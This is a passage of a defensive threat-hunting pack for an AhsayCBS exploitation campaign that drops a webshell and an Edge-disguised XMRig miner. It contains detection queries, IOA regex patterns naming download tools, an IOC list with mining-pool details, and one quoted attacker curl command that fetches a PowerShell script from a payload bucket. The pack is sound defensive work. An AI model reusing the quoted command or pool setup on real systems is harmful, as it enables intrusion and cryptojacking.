Signal := "temp_staging"; #event_simpleName=NetworkConnectIP4 | RemoteAddressIP4="51.195.127.124" | Signal := "pool_connection"; * | Signal := "none"; } | !in(field="Signal", values=["none"]) | groupBy([aid, ComputerName], function=[count(Signal, distinct=true, as=DistinctSignals), collect([Signal], limit=10), min(@timestamp, as=FirstSeen), max(@timestamp, as=LastSeen)], limit=20000) | DistinctSignals>1 | sort(DistinctSignals, order=desc, limit=200)
1 required field · View requirements
Required telemetry
- none
Required fields
event.type: Event type
Readiness test
event.type = 'Process Creation' | limit 5 | columns event.type
// HUNT: correlate AhsayCBS exploitation-to-miner signals per host (two or more distinct signals) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1190, T1105, T1543.003, T1036.005, T1496.001 // CONF: high | FP: low // FALSE POSITIVES: very low; each signal is rare on its own // EQUIVALENCE: unsupported-without-redesign - The CQL correlates six signals across sensor events including service creation with a distinct-count threshold per host; a single PowerQuery cannot reproduce the service signal and the multi-event distinct count in the offline engine. // REQUIRES: All of the underlying signals plus a per-host distinct signal count // TUNING: Run Q2, Q5, Q9, Q11 and Q14 and correlate hits by endpoint.name by hand. // LOOKBACK: 30d on the CQL tab // CONFIGURATION: Use the CQL tab for this card. // KNOWN GAPS: No composite per-host signal count is shipped; the cbs_download_child, fake_edge_process, taskgmr_script, temp_staging and pool_connection signals are covered by Q2, Q5, Q14, Q9 and Q11 individually. // VALIDATION LEVEL: static-reviewed
Detection Rules by Platform
Four queries are clean enough to promote from hunt to Custom IOA. All four are detect only (Monitor). The pack recommends no prevention action anywhere: every campaign indicator is single-sourced to Huntress, and WinRing0x64.sys and the Kryptex pool are legitimate components. Q1 and Q2 are the strongest candidates to move to a blocking policy later, after a baseline period on your own AhsayCBS hosts.
CrowdStrike: Custom IOA
| IOA name | From | Rule type | Pattern | Exclusions | Action |
|---|---|---|---|---|---|
| AhsayCBS, Service Spawns Download or Recon Tool | Q2 | Process Creation (Windows) | Parent image filename .*\\cbssvcX(64|86)\.exe; image filename .*\\(curl|certutil|powershell|pwsh|bitsadmin|wget|mshta)\.exe | None | Detect: High |
| AhsayCBS, Unexpected Service Child Process | Q1 | Process Creation (Windows) | Parent image filename .*\\cbssvcX(64|86)\.exe; exclude the documented baseline commands (7za, rotatelogs, conhost, java, startup probes) | Baseline command lines from Q1 | Detect: Medium |
| AhsayCBS Campaign, NSSM Wrapper Parents Fake Edge Miner | Q6 | Process Creation (Windows) | Parent image filename .*\\msedge\.exe; image filename .*\\edge\.exe | None | Detect: High |
| AhsayCBS Campaign, Edge-Named Binary Written to Temp | Q9 | File Creation (Windows) | File path .*\\Temp\\(edge|msedge)\.exe | None | Detect: High |
Pattern syntax follows the Custom IOA regular-expression fields. Confirm the exact escaping in your console before saving, then create each rule in Monitor on a pilot policy for one business week. The hashes, addresses and domains belong in IOC Management (section 10) as detect, not in IOAs.
Not recommended as IOAs: Q3 and Q4 (command-line content, better as scheduled searches), Q5 (broad path logic), Q7 and Q8 (CreateService field population varies by sensor version), Q10 and Q13 (single-source perishable indicators), Q14 (command-line view only), Q15 (correlation, better as a scheduled search).
SentinelOne: custom detection rules
| Rule | Source query | Run as | Notes |
|---|---|---|---|
| AhsayCBS, Service Spawns Download or Recon Tool | Q2, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written |
| AhsayCBS, Unexpected Service Child Process | Q1, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written |
| AhsayCBS Campaign, NSSM Wrapper Parents Fake Edge Miner | Q6, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written |
| AhsayCBS Campaign, Edge-Named Binary Written to Temp | Q9, PowerQuery tab | Scheduled custom detection rule | Bind entities so the alert names the host instead of "Unknown Device". This pack's own text mentions a baseline or pilot; follow it as written |
Create the rule with POST /web/api/v2.1/cloud-detection/rules, queryType: "scheduled" and queryLang: "2.0", with the query in data.scheduledParams.query. Use 2.0 operator spellings: a rule written with the 1.0 token ContainsCIS was accepted and never fired on a tenant. The API does not warn, so lint the body before deploying.
Machine-Readable IOC Appendix
Blocks tuned to this campaign. The CSV is the only block meant for import: it holds the twelve atomic values (three hashes, two domains, seven IPv4 addresses), every one traced to snapshot 01-huntress-advisory.txt and every one at detect. No value in this pack is at prevent.
type,value,action,severity,expiration,description,tags sha256,05f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034,detect,high,2027-04-10,msedge.exe modified NSSM wrapper,campaign:AhsayCBS-XMRig sha256,4dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3d,detect,high,2027-04-10,edge.exe XMRig Monero miner,campaign:AhsayCBS-XMRig sha256,481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21,detect,high,2027-04-10,Taskgmr.ps1 Task Manager evasion script,campaign:AhsayCBS-XMRig domain,imagefiles-backup.oss-ap-southeast-7.aliyuncs.com,detect,high,2027-04-10,Payload bucket on Alibaba Cloud OSS,campaign:AhsayCBS-XMRig domain,xmr.kryptex.network,detect,medium,2027-04-10,Kryptex XMR mining pool (public pool; hit means mining software),campaign:AhsayCBS-XMRig ipv4,51.195.127.124,detect,medium,2027-04-10,Mining pool IP TCP 8029,campaign:AhsayCBS-XMRig ipv4,177.4.12.11,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig ipv4,38.60.252.110,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig ipv4,107.191.47.199,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig ipv4,185.220.236.49,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig ipv4,104.234.26.10,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig ipv4,123.202.208.37,detect,medium,2027-04-10,AhsayCBS exploitation source address,campaign:AhsayCBS-XMRig
This pack does not ship a SentinelOne import block: the import format could not be verified against SentinelOne's own documentation. Export a sample from your console and the block can be added with confidence.
AhsayCBS XMRig campaign - behavioral signatures (survive hash and IP rotation) B1 cbssvcX64.exe / cbssvcX86.exe as parent of curl.exe, certutil.exe, a shell or any non-baseline process B2 curl -sk -o "...\AppData\Local\Temp\Taskgmr.ps1" "http://<bucket>/javas/Office/win/Taskgmr.ps1" --max-time 60 B3 certutil.exe download of WinRing0x64.sys into ...\AppData\Local\Temp B4 edge.exe / msedge.exe in a Temp folder (real Edge runs msedge.exe from Program Files (x86)\Microsoft\Edge\Application; no real edge.exe exists) B5 Service MicrosoftEdgeUpdateSvc (real: edgeupdate / edgeupdatem) with image msedge.exe in Temp, running as SYSTEM B6 msedge.exe (NSSM) as parent of edge.exe; command line containing --daemonized B7 PowerShell checking for Task Manager and calling Stop-Service / Start-Service; Task Manager killed at 18:00 host-local time B8 Outbound TCP 8029 to a mining pool; DNS for xmr.kryptex.network B9 New .jsp file in the AhsayCBS web application directory; unexpected replication receiver in the console B10 Request to /rps/api/json/UpdateReceivers.do from a non-peer address
Names exactly as the sources use them AhsayCBS (Ahsay Systems) backup management console; versions through 10.3.4 per Huntress CVE-2026-105133 checkSysPwd improper authentication (medium) CVE-2026-105134 UpdateReceivers.do OS command injection / RCE (critical) XMRig open-source Monero miner, masqueraded as edge.exe NSSM Non-Sucking Service Manager, modified and renamed msedge.exe Taskgmr.ps1 PowerShell evasion script (described by Huntress as AI-assisted) WinRing0x64.sys legitimate but vulnerable OpenLibSys kernel driver Pool xmr.kryptex.network:8029, pool IP 51.195.127.124, user krxYMRN97D/creativejs
# Read-only audit helpers (run per AhsayCBS host, through RTR or your RMM)
# A. Fake Edge binaries in user-writable folders
Get-ChildItem -Path $env:SystemDrive\Users, $env:WINDIR\Temp, $env:ProgramData -Recurse -Force -ErrorAction SilentlyContinue -Include edge.exe,msedge.exe,Taskgmr.ps1,WinRing0x64.sys |
Where-Object { $_.FullName -match '\\Temp\\|\\Users\\Public\\|\\ProgramData\\' } |
Get-FileHash -Algorithm SHA256 -ErrorAction SilentlyContinue | Select-Object Path, Hash
# B. The persistence service
Get-CimInstance Win32_Service | Where-Object { $_.Name -match 'MicrosoftEdgeUpdateSvc|EdgeUpdateHelper' -or $_.PathName -match '\\Temp\\(ms)?edge\.exe' } |
Select-Object Name, State, StartName, PathName
# C. ASR vulnerable-driver rule state (56a863a9-875e-4185-98a7-b882c64b5ce5)
(Get-MpPreference).AttackSurfaceReductionRules_Ids -contains '56a863a9-875e-4185-98a7-b882c64b5ce5'
Action policy: nothing is set to prevent. Every indicator is single-sourced to Huntress (two-source rule), the miner and wrapper hashes change on every rebuild, WinRing0x64.sys is a legitimate signed driver used by real software, and the Kryptex pool is a public service. Promote a value to prevent only after a second independent vendor lists it, and never for WinRing0x64.sys.
Detection Validation Gates
Work these in order. A query that has not cleared gate 2 has no business being an alert.
| Gate | What to prove | How | Pass criteria |
|---|---|---|---|
| G1 · Telemetry ready | The events each query depends on arrive in your tenant | Process creation with parent and command line (CrowdStrike: ProcessRollup2; SentinelOne: Process Creation; Defender: DeviceProcessEvents), service creation (CrowdStrike: CreateService), PE file write (CrowdStrike: PeFileWritten), outbound connection (CrowdStrike: NetworkConnectIP4) and DNS lookup (CrowdStrike: DnsRequest). Run each #event_simpleName filter alone over 24h with count(). Pay particular attention to CreateService (Q7, Q8) and its fields ServiceDisplayName and ServiceImagePath, and to NetworkReceiveAcceptIP4 (Q13). | Non-zero counts and the named fields populated. |
| G2 · Benign baseline | You know what normal looks like | Run Q1 over 30 days on every AhsayCBS host and classify every child process; run Q8, Q9 and Q13 across 30 days of fleet history. | Every recurring hit is explained and excluded, or escalated. |
| G3 · Positive test | The query fires on the behavior it claims | On an isolated test host in a change window: copy a harmless signed executable to a Temp folder as edge.exe and run it (Q5, Q9); create a test service from it named MicrosoftEdgeUpdateSvc (Q7); run powershell -Command "echo Taskgmr.ps1" (Q14); on a lab host with a service wrapper named cbssvcX64.exe run curl.exe --version as its child (Q1, Q2). Never download the real payloads or load the real driver. | Matching queries fire. |
| G4 · Negative test | Tuning did not blind the query | Re-run G3 with the TUNING exclusions applied. | Test events still fire. |
| G5 · Promotion | Safe to alert | Custom IOA in Monitor mode for one business week on a pilot policy. | Zero unexplained detections. |
| G6 · Response readiness | The team can act on a hit | Tabletop the section 14 runbook, including the decision to re-image rather than clean. | Analyst can state the isolation and re-image path for an AhsayCBS host without losing backup data. |
Hardening: Tiered
Controls are mapped to the technique, then to a MITRE mitigation (the why) and an authority (the what and where). There is no vendor patch at disclosure, so the first tier is about removing exposure, not updating. MITRE's own page for T1496.001 states the technique cannot be easily mitigated with preventive controls, so the hardening focuses on the entry point and on persistence.
- I1 · Take the AhsayCBS management interface off the internet. Allow it only from trusted IP addresses or through a VPN. This is the vendor-neutral mitigation Huntress gives (the exploit targets the externally accessible web application service) and is the only effective control while no patch exists. M1035 Limit Access to Resource Over Network, M1030 Network Segmentation. Authority: Huntress advisory and MITRE T1190 mitigation list. Playbook P1. Verify from an untrusted network that the console no longer answers.
- I2 · Run the read-only compromise sweep on every AhsayCBS host (Q1, Q2, Q5, Q7 over 30 days, plus playbook P3 and native hunts N1 and N2). Huntress says any IOC hit warrants a full re-image from a trusted backup because attackers hid secondary backdoors. Detection, not prevention.
- I3 · Load the section 10 CSV into IOC Management as detect and run Q3, Q10, Q11, Q12 retrospectively. Detect only; the values are single-sourced.
- I4 · Enable process command-line auditing and size the Security log so a child of the service leaves a trail even if the sensor is tampered with. M1047 Audit. Authority: MITRE T1543.003 mitigation list. best-practice, no formal benchmark cited Playbook P2.
- I5 · Treat credentials held by the console as exposed. Rotate AhsayCBS administrator and replication-receiver credentials and review users and receivers you did not create. The sources do not report what the actor read, so this is a precaution. best-practice, inference
- N1 · ASR rule "Block abuse of exploited vulnerable signed drivers" in Audit mode first, then Block. Microsoft states it prevents apps from saving vulnerable signed drivers to disk but does not stop a driver already on the machine from loading. Whether WinRing0x64.sys is covered by Microsoft's list was not confirmed by any fetched source, so verify in audit mode. M1040 Behavior Prevention on Endpoint (T1543.003). Authority: Microsoft Learn, ASR rules reference (GUID 56a863a9-875e-4185-98a7-b882c64b5ce5). Playbook P4.
- N2 · Restrict outbound traffic from the backup server. Allow only the destinations a backup console needs (replication peers, update and licensing endpoints) and alert on anything else, including TCP 8029 and plain HTTP to cloud object-storage hosts. M1037 Filter Network Traffic. Authority: MITRE T1190 mitigation list (restrict outbound traffic from public-facing servers). Alert before you block.
- N3 · Application control on the server. Allow execution only from approved locations so binaries in
\Temp\,\Users\Public\and\ProgramData\cannot run, and services cannot be registered from those paths. M1038 Execution Prevention, M1045 Code Signing, M1022 Restrict File and Directory Permissions. Authority: MITRE T1036.005 mitigation list. best-practice, no CIS item cited Audit first. - N4 · Least privilege for the service. The exploit runs as
NT AUTHORITY\SYSTEM. If Ahsay supports a lower-privilege service account, test it on a pilot server; MITRE advises least-privilege service accounts for exploited public-facing processes. M1026 Privileged Account Management. Whether Ahsay supports this was not verified. best-practice, vendor support unverified - N5 · Front the console with a WAF or reverse proxy that only forwards the paths your operators use, and blocks
/rps/api/json/UpdateReceivers.dofrom anywhere that is not a replication peer. M1050 Exploit Protection. Authority: MITRE T1190 mitigation list. Test replication before enforcing.
- S1 · Track the vendor and apply the patch when it exists. Subscribe to Ahsay's advisories and re-test: NVD says 10.3.4 fixes the flaws while Huntress says it does not, so verify the fixed version against the vendor notice before closing the exposure. M1051 Update Software, M1016 Vulnerability Scanning. Authority: MITRE T1190 mitigation list.
- S2 · Segment backup infrastructure in its own management zone reachable only from admin jump hosts, so a compromised console cannot reach production. M1030 Network Segmentation, M1048 Application Isolation and Sandboxing. Authority: MITRE T1190 mitigation list.
- S3 · Memory integrity (HVCI) and the Microsoft vulnerable driver blocklist where hardware allows, to make loading drivers like WinRing0x64.sys harder. Microsoft's ASR page does not document the blocklist, so confirm its coverage on your build. M1040, M1045 (T1543.003). best-practice, coverage unverified
- S4 · Immutable or offline backup copies and a tested bare-metal restore, so a re-image of a compromised console (Huntress's advice) does not cost data. best-practice, no formal benchmark
Deployable Playbooks
Test every playbook on a pilot ring first. P4 is audit-first by design. Each playbook lists its prerequisites, reboot requirement and rollback.
P1 · Scope console access to trusted addresses (I1)
# P1 - Scope inbound access to the AhsayCBS console to trusted addresses (I1)
# Prerequisites: local administrator; know the console TCP port(s) and your trusted admin / replication-peer ranges.
# Keep an out-of-band console session open so a mistake cannot lock you out.
# Reboot required: no
# Rollback: Remove-NetFirewallRule -DisplayName 'AhsayCBS trusted access'; Get-NetFirewallRule -DisplayName 'AhsayCBS broad (disabled by P1)' | Enable-NetFirewallRule
$Ports = 'REPLACE_WITH_CONSOLE_TCP_PORTS' # for example the HTTP/HTTPS ports your install uses
$Trusted = 'REPLACE_WITH_TRUSTED_CIDR_LIST' # for example a VPN pool and your replication peers
# 1. Add the scoped allow rule first
New-NetFirewallRule -DisplayName 'AhsayCBS trusted access' -Direction Inbound -Action Allow -Protocol TCP `
-LocalPort ($Ports -split ',') -RemoteAddress ($Trusted -split ',') -Profile Any
# 2. Review the existing broad inbound rules that expose the same ports, then disable them (do not delete)
Get-NetFirewallPortFilter -Protocol TCP | Where-Object { $_.LocalPort -in ($Ports -split ',') } |
Get-NetFirewallRule | Where-Object { $_.Direction -eq 'Inbound' -and $_.Action -eq 'Allow' -and $_.DisplayName -ne 'AhsayCBS trusted access' } |
Select-Object DisplayName, Enabled
# After reviewing the list above and confirming the trusted path works:
# Get-NetFirewallRule -DisplayName '<broad rule name>' | Rename-NetFirewallRule -NewName 'AhsayCBS broad (disabled by P1)' ; Disable-NetFirewallRule ...
# Verify: from an address outside $Trusted the console ports must not answer.
P2 · Command-line auditing and log size (I4)
# P2 - Process command-line auditing and Security log size (I4) # Prerequisites: local administrator; size the log first; do not enable on hosts where command lines carry secrets without a retention decision # Reboot required: no # Rollback: auditpol /set /subcategory:"Process Creation" /success:disable # Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit' -Name ProcessCreationIncludeCmdLine_Enabled auditpol /set /subcategory:"Process Creation" /success:enable New-Item -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit' -Force | Out-Null New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit' -Name ProcessCreationIncludeCmdLine_Enabled -Value 1 -PropertyType DWord -Force | Out-Null wevtutil sl Security /ms:268435456 # Verify auditpol /get /subcategory:"Process Creation" wevtutil gl Security | Select-String 'maxSize' # Service installs already log System Event 7045 by default; forward 4688 and 7045 to your SIEM.
P3 · Read-only compromise sweep (I2)
# P3 - Read-only compromise sweep for one AhsayCBS host (I2)
# Prerequisites: local administrator or Falcon RTR with the needed role
# Reboot required: no
# Rollback: none required (read-only)
# 1. Persistence service
Get-CimInstance Win32_Service | Where-Object { $_.Name -match 'MicrosoftEdgeUpdateSvc|EdgeUpdateHelper' -or $_.PathName -match '\\Temp\\' } |
Select-Object Name, DisplayName, State, StartName, PathName
# 2. Fake Edge, script and driver files in Temp
Get-ChildItem -Path "$env:SystemDrive\Users\*\AppData\Local\Temp", "$env:WINDIR\Temp" -Force -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '^(edge|msedge)\.exe$|^Taskgmr\.ps1$|^config\.json$|^WinRing0x64\.sys$' } |
Select-Object FullName, Length, CreationTime, LastWriteTime
# 3. Hash anything found and compare with the section 10 CSV
Get-ChildItem -Path "$env:SystemDrive\Users\*\AppData\Local\Temp\*" -Include edge.exe,msedge.exe,Taskgmr.ps1 -Force -ErrorAction SilentlyContinue |
Get-FileHash -Algorithm SHA256
# 4. Loaded or registered WinRing0 driver
Get-CimInstance Win32_SystemDriver | Where-Object { $_.Name -match 'winring0' -or $_.PathName -match 'WinRing0' } | Select-Object Name, State, PathName
# 5. Established connections to TCP 8029
Get-NetTCPConnection -State Established -ErrorAction SilentlyContinue | Where-Object { $_.RemotePort -eq 8029 } |
Select-Object LocalPort, RemoteAddress, RemotePort, OwningProcess
# Any hit: do not clean in place. Follow the section 14 runbook (isolate, collect evidence, re-image).
P4 · ASR vulnerable signed driver rule, audit (N1)
# P4 - ASR: Block abuse of exploited vulnerable signed drivers (AUDIT first) (N1)
# Prerequisites: Microsoft Defender Antivirus active; local administrator
# Reboot required: no
# Rollback: Remove-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5
# (or Add-MpPreference with -AttackSurfaceReductionRules_Actions Disabled)
$id = '56a863a9-875e-4185-98a7-b882c64b5ce5'
Add-MpPreference -AttackSurfaceReductionRules_Ids $id -AttackSurfaceReductionRules_Actions AuditMode
# Verify
$p = Get-MpPreference
$i = [array]::IndexOf($p.AttackSurfaceReductionRules_Ids, $id)
if ($i -ge 0) { "Rule present, action = " + $p.AttackSurfaceReductionRules_Actions[$i] } # 2 = Audit, 1 = Block
# Review audit hits (advanced hunting action type AsrVulnerableSignedDriverAudited) for 2 to 4 weeks, then move a pilot ring to Block.
# Microsoft: the rule stops vulnerable signed drivers being saved; it does not stop a driver already on the machine from loading.
P5 · Evidence collection for a confirmed host
# P5 - Evidence collection for a confirmed AhsayCBS host (read-only; run BEFORE any cleanup)
# Prerequisites: local administrator or Falcon RTR with the needed role; host already network-contained
# Reboot required: no. Do NOT reboot: running processes and the service state are evidence.
# Rollback: none required (read-only). Cleanup is in the section 14 runbook.
$out = "$env:SystemDrive\IR-ahsay"; New-Item -ItemType Directory -Path $out -Force | Out-Null
Get-CimInstance Win32_Service | Select-Object Name, DisplayName, State, StartName, PathName | Export-Csv "$out\services.csv" -NoTypeInformation
Get-CimInstance Win32_Process | Select-Object ProcessId, ParentProcessId, Name, CommandLine, ExecutablePath | Export-Csv "$out\processes.csv" -NoTypeInformation
Get-NetTCPConnection -ErrorAction SilentlyContinue | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess | Export-Csv "$out\connections.csv" -NoTypeInformation
Get-ChildItem -Path "$env:SystemDrive\Users\*\AppData\Local\Temp" -Force -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match '^(edge|msedge)\.exe$|^Taskgmr\.ps1$|^config\.json$|^WinRing0x64\.sys$' } |
Get-FileHash -Algorithm SHA256 -ErrorAction SilentlyContinue | Export-Csv "$out\temp-hashes.csv" -NoTypeInformation
# Copy (do not delete) any file found, plus recent .jsp files from the web application directory (see native hunt N2), to the evidence share.
Containment Runbook
Sequencing rule: exploitation yields SYSTEM and a webshell, and Huntress found hidden secondary backdoors. Treat the host as fully compromised, re-image rather than clean, and rotate every credential the console could reach. Isolation stops backup jobs and replication for every tenant on the console, so brief the backup owner as you contain, not afterwards.
| Phase | Actions | Owner | Evidence to capture |
|---|---|---|---|
| C0 · Triage 0 to 15 min | Confirm which query fired. Identify host and time. Check whether Q1, Q2, Q5, Q7 and Q15 also fired on the same aid. Check the AhsayCBS version and whether the console was internet-reachable. | SOC L1 | Falcon process tree; query output; aid and ComputerName |
| C1 · Isolate 15 to 30 min | Network-contain the host in Falcon, or at the firewall if the sensor is not responding. Backup replication will stop: tell the backup owner first. Do not clean in place. Run P5 before any change. | SOC L2 | Containment timestamp; P5 output |
| C2 · Scope | Run Q1 to Q15 across 30 to 90 days for other hosts. Search web access logs for /rps/api/json/UpdateReceivers.do and review replication receivers and users in the console. Check whether other AhsayCBS servers (including customer-facing ones if you are an MSP) were reachable by the same sources. | Threat hunter | List of affected hosts and receivers; web log extracts |
| C3 · Credentials parallel with C1 | Rotate AhsayCBS administrator, replication-receiver and any stored backup credentials. Reset credentials for accounts that logged on to the host. Assume anything the console could read was exposed (precaution, not reported). | IAM | Rotation timestamps; list of rotated secrets |
| C4 · Eradicate | Huntress advises a full host re-image from a trusted backup, because secondary backdoors were hidden. If you must triage first: stop and delete service MicrosoftEdgeUpdateSvc (and EdgeUpdateHelper if present), remove edge.exe, msedge.exe, Taskgmr.ps1, config.json and WinRing0x64.sys from Temp (the driver may need a reboot or offline removal to unload), and remove unknown .jsp files and unknown replication receivers. Do not treat this as a substitute for the re-image. | SOC L2 / IT | Removal log; post-clean Q1 to Q9 re-run |
| C5 · Recover | Reimage from a verified-clean backup, apply I1 (restricted access) before the host comes back online, re-enroll the sensor, verify the ASR rule (N1), and restore credentials only after C3. | IT | Reimage ticket; exposure test from an untrusted network |
| C6 · Lessons | Add confirmed values to IOC Management. Record the exact fixed version once Ahsay publishes one. Feed new hashes and infrastructure back into this pack as a v0.2 revision. | Threat intel | Updated IOC list; revision ticket |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | Hardening | CrowdStrike coverage | SentinelOne |
|---|---|---|---|---|---|---|
| T1190 | CVE-2026-105133 + CVE-2026-105134 exploitation | Q1, Q2, Q13 | Yes (Q1, Q2) | I1, N5, S1 | PARTIAL the HTTP request and the auth bypass are outside endpoint telemetry; the resulting child processes and source addresses are covered. Native hunt N1 is the fallback | Partial: Q13 approximate |
| T1505.003 | Replication receiver and JSP webshell | Q1, Q2 | No | I2, N5 | GAP no verified Falcon file-write event for .jsp. Detect through the service's child processes and the N2 filesystem sweep | GAP: same limit as CrowdStrike |
| T1105 / T1608.001 | Payload download from the OSS bucket via curl and certutil | Q2, Q3, Q4, Q10, Q12 | Yes (Q2) | N2 | GOOD command line, parent and DNS all covered; bucket name is single-sourced | Good, with assumptions |
| T1543.003 | Service MicrosoftEdgeUpdateSvc (NSSM) | Q6, Q7, Q8, Q15 | Yes (Q6) | I4, N1, N3 | PARTIAL depends on CreateService field population (gate G1); Q6 covers the process side without it | Partial: Q7 unavailable, Q8 unavailable, Q15 unavailable |
| T1036.004 / T1036.005 | Edge masquerade (service name and binaries) | Q5, Q6, Q7, Q9 | Yes (Q6, Q9) | N3 | GOOD path and parent relationships are near-zero FP | Partial: Q7 unavailable |
| T1564 / T1057 / T1124 | Taskgmr.ps1 evasion | Q14 | No | None | PARTIAL command-line view only; the script-block content is outside endpoint process telemetry. Huntress ships a Sigma rule for script-block logs | Partial: same limit as CrowdStrike |
| T1496.001 | XMRig miner and WinRing0x64.sys kernel driver | Q4, Q5, Q6, Q9, Q11, Q12, Q15 | No | N1, S3 | PARTIAL staging and download are visible; the driver load and in-kernel use are not (no verified driver-load event used) | Partial: Q15 unavailable |
| T1571 / T1071.001 | Pool traffic on TCP 8029 | Q11, Q12 | IOC Mgmt | N2 | GOOD IP and port plus the fake Edge process; pool IP is single-sourced | Good, with assumptions |
Validation gates (summary): telemetry ready (G1), benign baseline (G2), positive test (G3), negative test (G4), Monitor-mode promotion (G5), response readiness (G6). Full table in section 11.
Honest scope: this pack detects what the intruder does on the host after exploitation (children of the service, the fake Edge pair, the persistence service, Temp staging, pool traffic). It cannot see the authentication bypass, the injection request, the JSP file write or the driver load. If your only signal is a Q11 or Q12 network hit, assume the earlier stages ran, including the webshell.
Hunt Summary Ticket
TITLE: AhsayCBS CVE-2026-105133 + CVE-2026-105134: webshell, XMRig disguised as Edge, NSSM service, WinRing0x64.sys
SEVERITY: Critical. Exploited in the wild since 2026-10-07 23:20:15 UTC (Huntress, 5 organizations by 2026-10-08); no patch at disclosure; SYSTEM RCE
SCOPE: Windows servers running AhsayCBS through 10.3.4 with the management interface reachable from the internet. Priority: MSP and integrator backup consoles.
HYPOTHESIS: An actor chained the auth bypass (105133) and command injection (105134) to run commands as SYSTEM, dropped a JSP webshell, pulled
Taskgmr.ps1, edge.exe (XMRig), msedge.exe (NSSM), config.json and WinRing0x64.sys from an Alibaba OSS bucket with curl/certutil, created service
MicrosoftEdgeUpdateSvc, and mines Monero at xmr.kryptex.network:8029.
QUERIES: 15 CQL queries (Q1 to Q15). Highest value: Q1 and Q2 (children of cbssvcX64.exe), Q5 to Q7 (Edge masquerade and service), Q15 (correlation).
DO FIRST: 1. Remove the console from the internet or restrict to trusted IPs / VPN (P1). 2. Run Q1, Q2, Q5, Q7 over 30 days. 3. Any hit: isolate, run P5, re-image.
FINDINGS: (fill in) hosts, versions, console exposure, first-seen time, receivers and .jsp files found
GAPS: Authentication bypass and the UpdateReceivers.do request: outside endpoint telemetry (web logs, native hunt N1). JSP webshell write: no verified
file-write event (native hunt N2). Driver load and script-block content: no verified event used (process creation, CrowdStrike: ProcessRollup2,
covers the command line only).
ACTIONS: P1 scope access; P2 command-line auditing; P3 sweep; P4 ASR vulnerable-driver rule in audit; rotate console credentials; track vendor patch.
OWNER: HuntPack
VERSION: v0.1 · 2026-10-10Changelog
References
| Tier | Source | Used for | Accessed |
|---|---|---|---|
| 1 | Huntress: Threat Actors Exploit Critical AhsayCBS Flaws to Drop Webshells and XMRig Cryptominer | Primary source: chain, behavior, IOCs, ATT&CK | 2026-10-10 |
| 1 | Huntress threat-intel: AhsayCBS_XMRig_Miner Sigma rules | Baseline exclusions and detection logic for Q1, Q4, Q5, Q14 | 2026-10-10 |
| 1 | NVD: CVE-2026-105134 | Vulnerability detail, CVSS, affected range | 2026-10-10 |
| 1 | NVD: CVE-2026-105133 | Vulnerability detail, CVSS, affected range | 2026-10-10 |
| 1 | INCIBE-CERT: CVE-2026-105134 | CVE corroboration (CWE-77) | 2026-10-10 |
| 2 | SecurityWeek: Unpatched AhsayCBS Vulnerabilities Exploited in the Wild | Secondary coverage, behavior corroboration only | 2026-10-10 |
| 1 | MITRE ATT&CK T1496.001: Compute Hijacking | Technique definition; no preventive mitigation listed | 2026-10-10 |
| 1 | MITRE ATT&CK T1505.003: Web Shell | Technique definition and mitigation M-codes | 2026-10-10 |
| 1 | MITRE ATT&CK T1190: Exploit Public-Facing Application | Technique definition and mitigation M-codes | 2026-10-10 |
| 1 | MITRE ATT&CK T1543.003: Windows Service | Technique definition and mitigation M-codes | 2026-10-10 |
| 1 | MITRE ATT&CK T1036.005: Match Legitimate Resource Name or Location | Technique definition and mitigation M-codes | 2026-10-10 |
| 1 | Microsoft Learn: Attack surface reduction rules reference | Hardening N1 (vulnerable signed drivers rule) | 2026-10-10 |